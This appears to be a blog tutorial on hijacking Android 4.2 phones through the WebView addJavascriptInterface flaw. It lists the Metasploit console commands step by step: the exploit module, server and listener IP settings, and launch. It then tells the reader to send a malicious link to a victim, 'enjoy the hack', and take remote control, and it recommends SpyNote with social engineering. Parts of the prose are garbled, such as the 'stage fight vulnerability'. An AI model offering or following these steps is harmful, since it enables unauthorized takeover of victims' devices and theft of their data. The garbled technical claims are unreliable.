How are the hackers being able to use WebView as well as JavaScript?

In this exploitation method privilege escalation that is issued with your android phones is mainly targeted. This is done in the android 4.2 version. In this way, the vulnerability related to your android phones is destroyed and now the unauthorized JavaScript code can be easily sent to the phones and if clicked then start adding the unnecessary code to the smartphone that will be able to take control over the whole device within seconds. The code is mainly in the form of simple arbitrary commands that is being executed within seconds. The method mentioned is considered as the most used and efficient than all other methods.

There are several stepped followed precisely to get to know this method before start using it as if any of the methods are being missed than result in technical issues and an attempt made would be worthless.

Hacking the android phones with the use of a single link. Let’s see the steps involved in the process:   

Step 1: The first requirement is to start your kali Linux machine

In this step kindly open your Kali Linux machine and then proceed to open the Metasploit console. Use the command msfconsole. Through this, the required TCP connection will be able to get established with the localhost. Also, the status of the android user opening the link can be easily seen through this platform. This an important step to be followed in this whole tutorial.

Step 2: In the second step there is a need in which the user has to set the Metasploit server for using the WebView exploit:

The method through which you can set the Metasploit is by writing the following commands in the MSF console

Kindly write each of these as per the way it’s mentioned:

  1. The first thing that is used is the exploit/android/browser/webview_addjavascriptinterface
  2. The second command that followed is set SRVHOST 192.168.182.136. Here in the place of the IP address given kindly provide your IP address.
  3. The third command that followed is set URIPATH /. by this the URI path is easily been set.
  4. The fourth command followed is set lhost 192.168.182.136. In place of the given IP kindly provide your IP address.
  5. And the last thing to be written is to exploit

Step 3: The third thing that should be done is to exploit the victim which is having stage fight vulnerability:

As of now, WebView has started running the hackers send a malicious link through which the particular android can be hacked as data can be exploited. One example that I want to provide for understanding is http://192.168.182.136:8080/. The IP address will be kept on changing based on the attacker device. One thing that should be noted here is that these attacks will be working on some limited android devices which have WebView API enable in them.

Step 4: Now after this, you can sit back and enjoy the hack:

After the link is successfully sent to the victim than the only wait is till he or she clicks on it. After the control of the whole mobile be remotely managed by you by the WebView platform. This is the main plot where the fun begins. This method is in great use nowadays but a lot of hackers so kindly be aware. Apart from this, the use of spynote is also one of the famous methods that can be used for this type of hacking of android as well as apple phones. The use of this only demand a little bit of social engineering but is considered as one the most efficient method too.
